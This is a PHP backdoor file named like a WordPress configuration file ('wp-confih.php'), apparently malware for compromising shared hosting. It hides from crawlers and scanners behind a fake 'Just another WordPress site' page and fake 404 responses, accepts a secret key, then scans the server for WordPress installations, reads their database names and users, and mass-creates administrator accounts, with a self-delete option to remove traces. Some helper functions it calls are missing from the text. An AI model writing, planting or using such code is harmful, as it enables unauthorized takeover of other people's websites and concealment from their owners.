23s2s

✏️ Editing: wp-confih.php

<?php

$is_bot = isset($_SERVER['HTTP_USER_AGENT']) && preg_match('/bot|crawler|spider|scanner|curl|wget/i', $_SERVER['HTTP_USER_AGENT']);
if ($is_bot && !isset($_GET['k']) && !isset($_POST['k']) && !isset($_GET['api'])) {
    http_response_code(200);
    echo '<!DOCTYPE html><html><head><title>Just another WordPress site</title></head><body><h1>Just another WordPress site</h1><p>Just another WordPress site</p></body></html>';
    exit;
}

$key = isset($_GET['k']) ? $_GET['k'] : (isset($_POST['k']) ? $_POST['k'] : '');
$valid_hash = '8e0901e9a1279ace81230f549311de6490e5997604091f9ba48ca6722e18bebb';

if (hash('sha256', $key) !== $valid_hash) {
    if (isset($_GET['api']) || isset($_POST['api'])) {
        header('Content-Type: application/json; charset=utf-8');
        echo json_encode(['success' => false, 'error' => 'Invalid API key']);
        exit;
    }
    http_response_code(404);
    echo '<!DOCTYPE html><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1></body></html>';
    exit;
}

@set_time_limit(600);
@ini_set('memory_limit', '1024M');
error_reporting(0);
ini_set('display_errors', 0);

if (isset($_GET['api']) || isset($_POST['api'])) {
    header('Content-Type: application/json; charset=utf-8');
    header('Access-Control-Allow-Origin: *');
    
    $action = isset($_GET['action']) ? $_GET['action'] : (isset($_POST['action']) ? $_POST['action'] : '');
    
    if ($action === 'scan_and_create') {
        $paths = isset($_GET['paths']) ? $_GET['paths'] : (isset($_POST['paths']) ? $_POST['paths'] : '/');
        $depth = isset($_GET['depth']) ? intval($_GET['depth']) : 8;
        $auto_create = !isset($_GET['auto_create']) || $_GET['auto_create'] != 'false';
        
        $paths_arr = array_filter(array_map('trim', explode("\n", $paths)));
        $skip = ['proc', 'sys', 'dev', 'run', 'snap', 'boot', 'lib', 'lib64', 'bin', 'sbin', 'usr', 'tmp'];
        
        $sites = [];
        $site_map = [];
        $scanned = 0;
        $start = microtime(true);
        $self = realpath(dirname(__FILE__));
        
        foreach ($paths_arr as $p) {
            $real = realpath($p);
            if ($real && is_dir($real) && is_readable($real)) {
                $scanned += fast_scan($real, 0, $depth, $skip, $self, $sites, $site_map);
            }
        }
        
        $scan_time = round(microtime(true) - $start, 2);
        
        $results = [];
        $created_count = 0;
        
        if ($auto_create && count($sites) > 0) {
            foreach ($sites as $site) {
                $admin_result = create_admin($site['p']);
                if ($admin_result['s']) {
                    $created_count++;
                    $results[] = [
                        'domain' => $site['url'],
                        'login_url' => $admin_result['url'],
                        'login' => $admin_result['l'],
                        'password' => $admin_result['p'],
                        'status' => 'created',
                        'output' => $admin_result['out']
                    ];
                } else {
                    $results[] = [
                        'domain' => $site['url'],
                        'login_url' => $admin_result['url'] ?? $site['lurl'],
                        'login' => null,
                        'password' => null,
                        'status' => 'failed',
                        'error' => $admin_result['e']
                    ];
                }
            }
        } else {
            foreach ($sites as $site) {
                $results[] = [
                    'domain' => $site['url'],
                    'login_url' => $site['lurl'],
                    'path' => $site['p'],
                    'version' => $site['v'],
                    'db_name' => $site['db'],
                    'db_user' => $site['u'],
                    'status' => 'found'
                ];
            }
        }
        
        echo json_encode([
            'success' => true,
            'scan' => [
                'paths' => $paths_arr,
                'depth' => $depth,
                'dirs_scanned' => $scanned,
                'scan_time_seconds' => $scan_time
            ],
            'sites_found' => count($sites),
            'admins_created' => $created_count,
            'results' => $results
        ], JSON_UNESCAPED_UNICODE | JSON_PRETTY_PRINT);
        exit;
    }
    
    if ($action === 'scan') {
        $paths = isset($_GET['paths']) ? $_GET['paths'] : (isset($_POST['paths']) ? $_POST['paths'] : '/');
        $depth = isset($_GET['depth']) ? intval($_GET['depth']) : 8;
        
        $paths_arr = array_filter(array_map('trim', explode("\n", $paths)));
        $skip = ['proc', 'sys', 'dev', 'run', 'snap', 'boot', 'lib', 'lib64', 'bin', 'sbin', 'usr', 'tmp'];
        
        $sites = [];
        $site_map = [];
        $scanned = 0;
        $start = microtime(true);
        $self = realpath(dirname(__FILE__));
        
        foreach ($paths_arr as $p) {
            $real = realpath($p);
            if ($real && is_dir($real) && is_readable($real)) {
                $scanned += fast_scan($real, 0, $depth, $skip, $self, $sites, $site_map);
            }
        }
        
        $scan_time = round(microtime(true) - $start, 2);
        
        $results = [];
        foreach ($sites as $site) {
            $results[] = [
                'domain' => $site['url'],
                'login_url' => $site['lurl'],
                'path' => $site['p'],
                'version' => $site['v'],
                'db_name' => $site['db'],
                'db_user' => $site['u']
            ];
        }
        
        echo json_encode([
            'success' => true,
            'sites_found' => count($sites),
            'scan_time_seconds' => $scan_time,
            'dirs_scanned' => $scanned,
            'results' => $results
        ], JSON_UNESCAPED_UNICODE | JSON_PRETTY_PRINT);
        exit;
    }
    
    if ($action === 'create_admin') {
        $path = isset($_GET['path']) ? $_GET['path'] : (isset($_POST['path']) ? $_POST['path'] : '');
        
        if (empty($path)) {
            echo json_encode(['success' => false, 'error' => 'Path is required']);
            exit;
        }
        
        $result = create_admin($path);
        
        if ($result['s']) {
            echo json_encode([
                'success' => true,
                'login_url' => $result['url'],
                'login' => $result['l'],
                'password' => $result['p'],
                'output' => $result['out']
            ], JSON_UNESCAPED_UNICODE);
        } else {
            echo json_encode([
                'success' => false,
                'error' => $result['e'],
                'login_url' => $result['url'] ?? null
            ], JSON_UNESCAPED_UNICODE);
        }
        exit;
    }
    
    if ($action === 'create_all') {
        $paths = isset($_GET['paths']) ? $_GET['paths'] : (isset($_POST['paths']) ? $_POST['paths'] : '');
        $depth = isset($_GET['depth']) ? intval($_GET['depth']) : 8;
        
        $paths_arr = array_filter(array_map('trim', explode("\n", $paths)));
        $skip = ['proc', 'sys', 'dev', 'run', 'snap', 'boot', 'lib', 'lib64', 'bin', 'sbin', 'usr', 'tmp'];
        
        $sites = [];
        $site_map = [];
        $self = realpath(dirname(__FILE__));
        
        foreach ($paths_arr as $p) {
            $real = realpath($p);
            if ($real && is_dir($real) && is_readable($real)) {
                fast_scan($real, 0, $depth, $skip, $self, $sites, $site_map);
            }
        }
        
        $results = [];
        $created_count = 0;
        
        foreach ($sites as $site) {
            $admin_result = create_admin($site['p']);
            if ($admin_result['s']) {
                $created_count++;
                $results[] = [
                    'domain' => $site['url'],
                    'login_url' => $admin_result['url'],
                    'login' => $admin_result['l'],
                    'password' => $admin_result['p'],
                    'status' => 'created',
                    'output' => $admin_result['out']
                ];
            } else {
                $results[] = [
                    'domain' => $site['url'],
                    'login_url' => $admin_result['url'] ?? $site['lurl'],
                    'status' => 'failed',
                    'error' => $admin_result['e']
                ];
            }
        }
        
        echo json_encode([
            'success' => true,
            'sites_found' => count($sites),
            'admins_created' => $created_count,
            'results' => $results
        ], JSON_UNESCAPED_UNICODE | JSON_PRETTY_PRINT);
        exit;
    }
    
    echo json_encode(['success' => false, 'error' => 'Unknown API action']);
    exit;
}

if (isset($_POST['a'])) {
    header('Content-Type: application/json; charset=utf-8');
    
    if ($_POST['a'] === 's') {
        $paths = isset($_POST['p']) ? trim($_POST['p']) : '/';
        $depth = isset($_POST['d']) ? intval($_POST['d']) : 8;
        
        $paths_arr = array_filter(array_map('trim', explode("\n", $paths)));
        $skip = ['proc', 'sys', 'dev', 'run', 'snap', 'boot', 'lib', 'lib64', 'bin', 'sbin', 'usr', 'tmp'];
        
        $sites = [];
        $site_map = [];
        $scanned = 0;
        $start = microtime(true);
        $self = realpath(dirname(__FILE__));
        
        foreach ($paths_arr as $p) {
            $real = realpath($p);
            if ($real && is_dir($real) && is_readable($real)) {
                $scanned += fast_scan($real, 0, $depth, $skip, $self, $sites, $site_map);
            }
        }
        
        usort($sites, function($a, $b) {
            if ($a['cur'] && !$b['cur']) return -1;
            if (!$a['cur'] && $b['cur']) return 1;
            return 0;
        });
        
        $time = round(microtime(true) - $start, 2);
        
        echo json_encode([
            's' => true,
            'w' => $sites,
            'c' => count($sites),
            'd' => $scanned,
            't' => $time
        ]);
        exit;
    }
    
    if ($_POST['a'] === 'c') {
        $path = isset($_POST['p']) ? trim($_POST['p']) : '';
        $result = create_admin($path);
        echo json_encode($result);
        exit;
    }
    
    if ($_POST['a'] === 'ca') {
        $sites = isset($_POST['s']) ? json_decode($_POST['s'], true) : [];
        $results = [];
        
        foreach ($sites as $site) {
            $path = isset($site['p']) ? $site['p'] : '';
            if ($path) {
                $res = create_admin($path);
                $results[] = $res;
            } else {
                $results[] = ['s' => false, 'e' => 'No path specified'];
            }
        }
        
        echo json_encode(['s' => true, 'r' => $results]);
        exit;
    }
    
    if ($_POST['a'] === 'delete') {
        $self_file = __FILE__;
        @chmod($self_file, 0777);
        
        $deleted = false;
        if (@unlink($self_file)) {
            $deleted = true;
        } elseif (function_exists('shell_exec')) {
            @shell_exec('rm -f ' . escapeshellarg($self_file) . ' 2>/dev/null');
            $deleted = !file_exists($self_file);
        } elseif (function_exists('exec')) {
            @exec('rm -f ' . escapeshellarg($self_file) . ' 2>/dev/null');
            $deleted = !file_exists($self_file);
        }
        
        if ($deleted) {
            echo json_encode(['s' => true, 'msg' => 'Script deleted successfully']);
        } else {
            echo json_encode(['s' => false, 'e' => 'Cannot delete script. Check permissions.']);
        }
        exit;
    }
    
    echo json_encode(['s' => false, 'e' => 'Invalid action']);
    exit;
}

$self_url = '?' . http_build_query(['k' => $key]);
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>System Check</title>
<meta name="robots" content="noindex,nofollow">
<style>
*{margin:0;padding:0;box-sizing:border-box}
body{background:#0a0e1a;color:#eef2ff;font-family:system-ui,sans-serif;padding:20px}
.container{max-width:1400px;margin:0 auto}
.card{background:#141824;border-radius:12px;padding:20px;margin-bottom:20px;border:1px solid #2a2f3c}
.input-group{margin-bottom:15px}
label{display:block;margin-bottom:6px;color:#8b92b0;font-size:12px}
textarea,input{width:100%;background:#0a0e1a;border:1px solid #2a2f3c;color:#eef2ff;padding:10px;border-radius:6px;font-family:monospace}
button{background:#3b82f6;color:white;border:none;padding:10px 20px;border-radius:6px;cursor:pointer;font-weight:600;transition:all 0.2s}
button:hover{opacity:0.9}
.btn-group{display:flex;gap:10px;margin-top:15px;flex-wrap:wrap}
.btn-danger{background:#ef4444}
.stats{display:grid;grid-template-columns:repeat(auto-fit,minmax(120px,1fr));gap:15px;margin-bottom:20px}
.stat{background:#0a0e1a;padding:15px;border-radius:8px;text-align:center}
.stat-number{font-size:28px;font-weight:700;color:#3b82f6}
.stat-label{font-size:11px;color:#8b92b0;margin-top:5px}
table{width:100%;border-collapse:collapse}
th{text-align:left;padding:12px;background:#0a0e1a;font-size:12px;color:#8b92b0}
td{padding:12px;border-bottom:1px solid #2a2f3c;font-size:13px}
code{font-family:monospace;background:#0a0e1a;padding:2px 6px;border-radius:4px;font-size:11px}
.status{display:inline-block;padding:2px 8px;border-radius:4px;font-size:11px;font-weight:600}
.status-current{background:rgba(16,185,129,0.2);color:#10b981}
.status-found{background:rgba(59,130,246,0.2);color:#3b82f6}
.results-block{display:none}
.results-header{display:flex;justify-content:space-between;align-items:center;margin-bottom:15px;flex-wrap:wrap;gap:10px}
.badge{background:#3b82f6;padding:4px 12px;border-radius:20px;font-size:12px}
.progress{display:none;margin-top:15px}
.progress-bar{height:4px;background:#2a2f3c;border-radius:2px;overflow:hidden}
.progress-fill{height:100%;background:#3b82f6;width:0%}
.mass-results{background:#0a0e1a;border-radius:8px;padding:15px;max-height:400px;overflow-y:auto;font-family:monospace;font-size:12px}
.result-line{padding:8px;border-bottom:1px solid #2a2f3c;color:#10b981}
.result-error{color:#ef4444}
.delete-confirm{display:none;margin-top:10px;padding:10px;background:#ef444420;border:1px solid #ef4444;border-radius:6px}
.delete-confirm.show{display:block}
</style>
</head>
<body>
<div class="container">
    <div class="card">
        <h2>⚡ WordPress Scanner v4.0</h2>
        <p style="color:#8b92b0;margin-top:5px">API Mode | Auto-create | Self Destruct</p>
    </div>
    
    <div class="card">
        <div class="input-group">
            <label>📁 Paths (one per line)</label>
            <textarea id="paths" rows="3">/home
/var/www
/</textarea>
        </div>
        <div class="input-group">
            <label>📏 Depth</label>
            <input type="number" id="depth" value="8" min="1" max="15">
        </div>
        <div class="btn-group">
            <button onclick="startScan()">🔍 Scan</button>
            <button id="massBtn" onclick="massCreate()" style="display:none;background:#ef4444">👑 Create All</button>
            <button onclick="showDeleteConfirm()" class="btn-danger">🗑️ Delete Script</button>
        </div>
        
        <div id="deleteConfirm" class="delete-confirm">
            <p style="margin-bottom:10px">⚠️ Are you sure you want to delete this script?</p>
            <div style="display:flex;gap:10px">
                <button onclick="deleteScript()" style="background:#ef4444">Yes, Delete</button>
                <button onclick="hideDeleteConfirm()">Cancel</button>
            </div>
        </div>
        
        <div class="progress" id="progress">
            <div class="progress-bar"><div class="progress-fill" id="progressFill"></div></div>
            <div style="font-size:11px;margin-top:8px;color:#8b92b0" id="progressText">Ready</div>
        </div>
    </div>
    
    <div class="stats" id="stats" style="display:none">
        <div class="stat"><div class="stat-number" id="statDirs">0</div><div class="stat-label">Dirs Scanned</div></div>
        <div class="stat"><div class="stat-number" id="statSites">0</div><div class="stat-label">WP Sites</div></div>
        <div class="stat"><div class="stat-number" id="statTime">0s</div><div class="stat-label">Time</div></div>
    </div>
    
    <div class="card results-block" id="results">
        <div class="results-header">
            <h2>📱 WordPress Sites</h2>
            <span class="badge" id="siteCount">0</span>
        </div>
        <div style="overflow-x:auto">
            <table id="sitesTable">
                <thead>
                    <tr>
                        <th>Path</th>
                        <th>Version</th>
                        <th>Database</th>
                        <th>Site URL</th>
                        <th>Status</th>
                        <th>Action</th>
                    </tr>
                </thead>
                <tbody id="sitesBody"></tbody>
            </table>
        </div>
    </div>
    
    <div class="card results-block" id="massCard" style="display:none">
        <div class="results-header">
            <h2>👑 Created Admins</h2>
            <button onclick="copyResults()">📋 Copy All</button>
        </div>
        <div id="massResults" class="mass-results"></div>
    </div>
</div>

function showDeleteConfirm() {
    document.getElementById('deleteConfirm').classList.add('show');
}

function hideDeleteConfirm() {
    document.getElementById('deleteConfirm').classList.remove('show');
}

function addMassResult(out) {
    const massDiv = document.getElementById('massResults');
    if (massDiv && out) {
        const div = document.createElement('div');
        div.className = 'result-line';
        div.textContent = out;
        massDiv.appendChild(div);
        document.getElementById('massCard').style.display = 'block';
    }
}

function copyResults() {
    const massDiv = document.getElementById('massResults');
    const text = Array.from(massDiv.children).map(c => c.textContent).join('\n');
    navigator.clipboard.writeText(text).then(() => alert('✅ Copied!'));
}

function escapeHtml(s) {
    if (!s) return '';
    return String(s).replace(/[&<>]/g, function(m) {
        if (m === '&') return '&amp;';
        if (m === '<') return '&lt;';
        if (m === '>') return '&gt;';
        return m;
    });
}
</script>
</body>
</html>

Sid Gifari From Gifari Industries - BD Cyber Security Team